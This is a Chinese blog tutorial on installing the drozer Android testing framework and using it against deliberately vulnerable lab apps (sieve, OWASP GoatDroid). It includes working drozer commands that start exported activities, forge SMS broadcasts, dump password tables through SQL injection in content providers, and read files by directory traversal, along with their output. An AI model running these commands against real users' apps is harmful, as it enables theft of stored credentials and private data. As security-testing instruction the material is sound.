drozer安装及使用

drozer安装及使用

介绍

drozer是一款针对Android系统的安全测试框架,可以分成两个部分:其一是“console”,它运行在本地计算机上;其二是“server”,它是一个安装在目标Android设备上的app,当使用console与Android设备交互时,就是把Java代码输入到运行在实际设备上的drozer代理(agent)中。
根据drozer官方的描述,drozer主要是有助于Android研究人员去测试一些共享的Android漏洞,对于远程攻击,可以生成shellcode来帮助开发人员将drozer Agent 部署为远程管理员工具,从而最大程度利用设备。
drozer是一个全面的安全审计和攻击框架,可以进行更快的Android安全评估,通过自动化繁琐和耗时的工作,帮助减少Android安全评估所花费的时间。还可以针对真实的Android设备进行测试,drozer不需要启用USB调试或其他开发功能,还可以自动化和扩展,测试公共漏洞的暴露程度。

安装准备

1
2
3
drozer官方地址:https://labs.f-secure.com/tools/drozer/
drozer github:https://github.com/mwrlabs/drozer
下载及drozer用户手册:https://labs.mwrinfosecurity.com/tools/drozer/

安装

python版本:python 2.7.18 # 理论上是python就行,我这里的版本为2.7.18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
wget https://github.com/FSecureLABS/drozer/releases/download/2.4.4/drozer-2.4.4-py2-none-any.whl ##下载drozer

# 安装python2的pip
https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py

# 安装drozer的依赖
python2 -m pip install wheel
python2 -m pip install pyyaml
python2 -m pip install pyhamcrest
python2 -m pip install protobuf
python2 -m pip install pyopenssl
python2 -m pip install twisted
python2 -m pip install service_identity

# 安装drozer
python2 -m pip install drozer-2.4.4-py2-none-any.whl

# 安装adb
apt-get install adb

# 使用
在客户端中打开31415端口,然后进行端口转发
adb forward tcp:31415 tcp:31415
drozer console connect

jdk8安装:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
dk安装包下载:https://www.oracle.com/java/technologies/javase/javase8u211-later-archive-downloads.html
下载tar.gz结尾的包,我这里用的是:jdk-8u212-linux-x64.tar.gz

# 创建目录
mkdir /usr/lib/java
tar -zxvf jdk-8u212-linux-x64.tar.gz -C /usr/lib/java

# 添加环境变量
vim .bashrc
在文件末尾追加下面内容:
#set oracle jdk environmentexport JAVA_HOME=/usr/lib/java/jdk1.8.0_212 ## 这里要注意目录要换成自己解压的jdk 目录
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH 使环境变量马上生效

source ~/.bashrc 使环境变量立即生效

# 设置系统默认jdk版本:
update-alternatives --install /usr/bin/java java /usr/lib/java/jdk1.8.0_212/bin/java 300
update-alternatives --install /usr/bin/javac javac /usr/lib/java/jdk1.8.0_212/bin/javac 300
update-alternatives --install /usr/bin/jar jar /usr/lib/java/jdk1.8.0_212/bin/jar 300
update-alternatives --install /usr/bin/javah javah /usr/lib/java/jdk1.8.0_212/bin/javah 300
update-alternatives --install /usr/bin/javap javap /usr/lib/java/jdk1.8.0_212/bin/javap 300

# 验证是否配置成功
root@kali:/usr/bin# update-alternatives --config java
链接组 java (提供 /usr/bin/java)中只有一个候选项:/usr/lib/java/jdk1.8.0_212/bin/java
无需配置。

# 测试jdk:
root@kali:/usr/bin# java -version
java version "1.8.0_212"
Java(TM) SE Runtime Environment (build 1.8.0_212-b15)
Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)

使用

列出已安装的app包的列表

1
2
3
4
run app.package.list
若drozer失效可使用adb,使用方法如下所示:
adb shell
pm list package

列出app的详细信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# 搜索关键字"bluetooth"相关的包
dz> run app.package.list -f bluetooth
com.android.bluetoothmidiservice (Bluetooth MIDI Service)
com.android.bluetooth (蓝牙)

# 查看蓝牙相关包的信息
dz> run app.package.info -a com.android.bluetooth
Package: com.android.bluetooth
Application Label: 蓝牙
Process Name: com.android.bluetooth
Version: 8.1.0
Data Directory: /data/user_de/0/com.android.bluetooth
APK Path: /system/app/Bluetooth/Bluetooth.apk
UID: 1002
GID: [3002, 3003, 3001, 3007, 1002, 3010, 3011, 3005, 1016]
Shared Libraries: [/system/framework/javax.obex.jar]
Shared User ID: android.uid.bluetooth
Uses Permissions:
- android.permission.RECEIVE_BOOT_COMPLETED
- android.permission.ACCESS_BLUETOOTH_SHARE
- android.permission.ACCESS_COARSE_LOCATION
- android.permission.INTERNET
- android.permission.BLUETOOTH
- android.permission.BLUETOOTH_ADMIN
- android.permission.BLUETOOTH_PRIVILEGED
- android.permission.BLUETOOTH_MAP
- android.permission.DUMP
- android.permission.WAKE_LOCK
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.READ_CONTACTS
- android.permission.WRITE_CONTACTS
- android.permission.READ_CALL_LOG
- android.permission.WRITE_CALL_LOG
- android.permission.READ_PRIVILEGED_PHONE_STATE
- android.permission.WRITE_SETTINGS
- android.permission.NFC_HANDOVER_STATUS
- android.permission.WRITE_SECURE_SETTINGS
- android.permission.WRITE_APN_SETTINGS
- android.permission.NET_ADMIN
- android.permission.CALL_PRIVILEGED
- android.permission.MODIFY_AUDIO_SETTINGS
- android.permission.NET_TUNNELING
- android.permission.ACCESS_NETWORK_STATE
- android.permission.CHANGE_NETWORK_STATE
- android.permission.CONNECTIVITY_INTERNAL
- android.permission.TETHER_PRIVILEGED
- android.permission.MODIFY_PHONE_STATE
- android.permission.INTERACT_ACROSS_USERS_FULL
- android.permission.BLUETOOTH_STACK
- android.permission.INTERACT_ACROSS_USERS
- android.permission.MANAGE_USERS
- android.permission.GET_ACCOUNTS
- com.google.android.gallery3d.permission.GALLERY_PROVIDER
- com.android.gallery3d.permission.GALLERY_PROVIDER
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.WRITE_SMS
- android.permission.MEDIA_CONTENT_CONTROL
- android.permission.UPDATE_APP_OPS_STATS
- android.permission.VIBRATE
- android.permission.DEVICE_POWER
- android.permission.REAL_GET_TASKS
- android.permission.MODIFY_AUDIO_ROUTING
- android.permission.UPDATE_DEVICE_STATS
- android.permission.READ_PROFILE
Defines Permissions:
- android.permission.ACCESS_BLUETOOTH_SHARE
- com.android.permission.WHITELIST_BLUETOOTH_DEVICE

dz>

安全测试-测试常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# activity组件
>run app.activity.info -a com.zritc.zritcwealthmanagement
>run app.activity.start --component com.zritc.zritcwealthmanagement com.zritc.zritcwealthmanagement.activity.SplashActivity

# Services组件
>run app.service.info -a com.zritc.zritcwealthmanagement
>run app.service.start --component com.zritc.zritcwealthmanagement cn.jpush.android.service.DaemonService

# Broadcast Reciever
dz> run app.broadcast.info -a com.zritc.zritcwealthmanagement
dz> run app.broadcast.send --component com.zritc.zritcwealthmanagement --action com.zritc.zritcwealthmanagement.receiver.MyJPushMessageReceiver

# Content Provider
dz> run scanner.provider.injection -a com.zritc.zritcwealthmanagement 检测注入
dz> run scanner.provider.traversal -a com.zritc.zritcwealthmanagement 检测目录遍历

# WebView代码执行检测
run scanner.misc.checkjavascriptbridge -a com.zritc.zritcwealthmanagement


安全测试-组件测试详解

查看可攻击点

1
2
3
4
5
6
7
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable

activity组件

应用程序中,一个Activity通常就是一个单独的屏幕,它上面可以显示一些控件也可以监听并处理用户的事件做出响应。 Activity之间通过Intent进行通信。在Intent的描述结构中,有两个最重要的部分:动作和动作对应的数据。

通过查看APP的风险点,activity存在问题,查看apktool反编译出的AndroidManifest.xml文件中activity的exported设置为true,则应用存在被导出的风险。

image-20211104220356162

测试app:sieve.apk

查看对外的activity组件信息

1
2
3
4
5
6
7
8
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
Permission: null
com.mwr.example.sieve.MainLoginActivity
Permission: null
com.mwr.example.sieve.PWList
Permission: null

使用app.activity.start进行漏洞测试

1
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

img

Broadcast组件

BroadcastReceive广播接收器应用可以使用它对外部事件进行过滤只对感兴趣的外部事件(如当电话呼入时,或者数据网络可用时)进行接收并做出响应。广播接收器没有用户界面。然而,它们可以启动一个activity或serice 来响应它们收到的信息,或者用NotificationManager来通知用户。通知可以用很多种方式来吸引用户的注意力──闪动背灯、震动、播放声音等。一般来说是在状态栏上放一个持久的图标,用户可以打开它并获取消息。

测试app:fourgoats的app,名称为,goatdroid.apk

使用app.broadcast.info模块查看对外的broadcast组件信息

1
2
3
4
dz> run app.broadcast.info -a org.owasp.goatdroid.fourgoats
Package: org.owasp.goatdroid.fourgoats
org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver
Permission: null

查看反编译出的AndroidManifest.xml文件,可看到将receiver的exported设置未进行设置。说明存在越权问题,可发送恶意广播,伪造消息等等。

image-20211105094101819

接下来要审计源码,源码的获取过程:smail——>dex——jar

smail2dex:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
usage:
java -jar smali.jar <smail path> -o <classes path>
注:smail directory为smail文件的目录。classes directory为目录加文件名

example:
java -jar smali-2.1.2.jar /root/tools/android/AndroidTools/AppInfoScanner/out/goatdroid/smali -o AppInfoScanner/out/goatdroid/classes.dex

报错:
root@kali:~/tools/android/AndroidTools# java -jar smali.jar /root/tools/android/AndroidTools/AppInfoScanner/out/goatdroid/smali -o AppInfoScanner/out/goatdroid/classes.dex
Exception in thread "main" com.beust.jcommander.MissingCommandException: Expected a command, got /root/tools/android/AndroidTools/AppInfoScanner/out/goatdroid/smali
at com.beust.jcommander.JCommander.parseValues(JCommander.java:725)
at com.beust.jcommander.JCommander.parse(JCommander.java:304)
at com.beust.jcommander.JCommander.parse(JCommander.java:287)
at org.jf.smali.Main.main(Main.java:87)
解决方法:
使用smail-2.1.2.jar
参考文章:https://blog.csdn.net/lihonghao1017/article/details/112776892

smail.jar下载地址:https://bitbucket.org/JesusFreke/smali/downloads/

image-20211105102631646

dex2jar:

1
2
3
4
5
6
安装:
下载解压后,加入环境变量即可。
usage:
d2j-dex2jar.sh <classes path> -o <jar path>
example:
./d2j-dex2jar.sh classes.dex -o classes.jar

image-20211105103800544

从源码中看到,需要phoneNumber和message两个参数

image-20211105104624423

漏洞利用,可发送恶意广播包

1
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1234 --extra string message pwnd!

注:在安卓8上未复现成功,应该是版本较高所致,随后在较低的版本上测试一下。

img

漏洞利用,拒绝服务攻击检测

尝试拒绝服务攻击检测,向广播组件发送不完整intent使用空extras,可看到应用停止运行。

image-20211105105512586

services组件

一个Service 是一段长生命周期的,没有用户界面的程序,可以用来开发如监控类程序。较好的一个例子就是一个正在从播放列表中播放歌曲的媒体播放器。在一个媒体播放器的应用中,应该会有多个activity,让使用者可以选择歌曲并播放歌曲。

然而,音乐重放这个功能并没有对应的activity,因为使用者当然会认为在导航到其它屏幕时音乐应该还在播放的。在这个例子中,媒体播放器这个activity 会使用Context.startService()来启动一个service,从而可以在后台保持音乐的播放。同时,系统也将保持这个service 一直执行,直到这个service 运行结束。

另外,我们还可以通过使用Context.bindService()方法,连接到一个service 上(如果这个service 还没有运行将启动它)。当连接到一个service 之后,我们还可以service 提供的接口与它进行通讯。拿媒体播放器这个例子来说,我们还可以进行暂停、重播等操作。 intent-filter未将exported设置为false,默认是可以导出的。

测试app:fourgoats的app,名称为,goatdroid.apk

分析AndroidManifest.xml

image-20211105110557615

org.owasp.fourgoats.goatdroid.LocationService服务被导出,不需要任何权限。所以这意味着任何与FourGoats应用程序安装在设备上的恶意应用程序可以访问设备的位置。

尝试启动特定服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 查看攻击面
dz> run app.package.attacksurface org.owasp.goatdroid.fourgoats
Attack Surface:
4 activities exported
1 broadcast receivers exported
0 content providers exported
1 services exported
is debuggable

# 查看services信息
dz> run app.service.info -a org.owasp.goatdroid.fourgoats
Package: org.owasp.goatdroid.fourgoats
org.owasp.goatdroid.fourgoats.services.LocationService
Permission: null

# 启动位置服务
dz> run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService

content组件

android平台提供了Content Provider使一个应用程序的指定数据集提供给其他应用程序。这些数据可以存储在文件系统中、在一个SQLite数据库、或以任何其他合理的方式。其他应用可以通过ContentResolver类从该内容提供者中获取或存入数据。只有需要在多个应用程序间共享数据是才需要内容提供者。

测试app:sieve.apk

信息泄露利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
扫描并获取Content Provider信息,并列出了可访问内容URI的列表和路径:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider/
Unable to Query content://com.mwr.example.sieve.DBContentProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords/
Able to Query content://com.mwr.example.sieve.DBContentProvider/Keys/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys

Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

# 查询或修改数据库中的数据,发现存在数据泄露问题,访问uri可看到一些敏感信息

image-20211105112731220

SQL注入漏洞

1
2
3
4
5
6
同样content可能导致注入问题。使用以下语句进行测试发现报错,说明存在SQL注入漏洞。
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')

列出所有表的信息

1
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--" 

image-20211105113213318

获取具体表的信息

1
2
3
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
| Password | pin |
| testtest1234567890 | 1234 |

对注入点进行扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
dz> run scanner.provider.injection -a  com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
content://com.mwr.example.sieve.DBContentProvider/Keys
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.DBContentProvider
content://com.mwr.example.sieve.FileBackupProvider

Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

列出该app的表信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
dz> run scanner.provider.sqltables -a  com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Accessible tables for uri content://com.mwr.example.sieve.DBContentProvider/Passwords/:
android_metadata
Passwords
Key

Accessible tables for uri content://com.mwr.example.sieve.DBContentProvider/Keys/:
android_metadata
Passwords
Key

Accessible tables for uri content://com.mwr.example.sieve.DBContentProvider/Passwords:
android_metadata
Passwords
Key

底层文件系统读取和写入(有可能被阻止)

文件读取:

1
2
3
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 
127.0.0.1 localhost
::1 ip6-localhost

文件下载:

1
2
dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/etc/hosts /root/documents/pentest/apptest/
Written 56 bytes

目录遍历漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
 dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.DBContentProvider/Keys
content://com.mwr.example.sieve.DBContentProvider/Passwords/
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider

Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

参考文章:

Android漏洞挖掘三板斧——drozer+Inspeckage(xposed)+MobSF

Android安全测试框架Drozer(使用篇)


作者:C0mpactDisk,本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!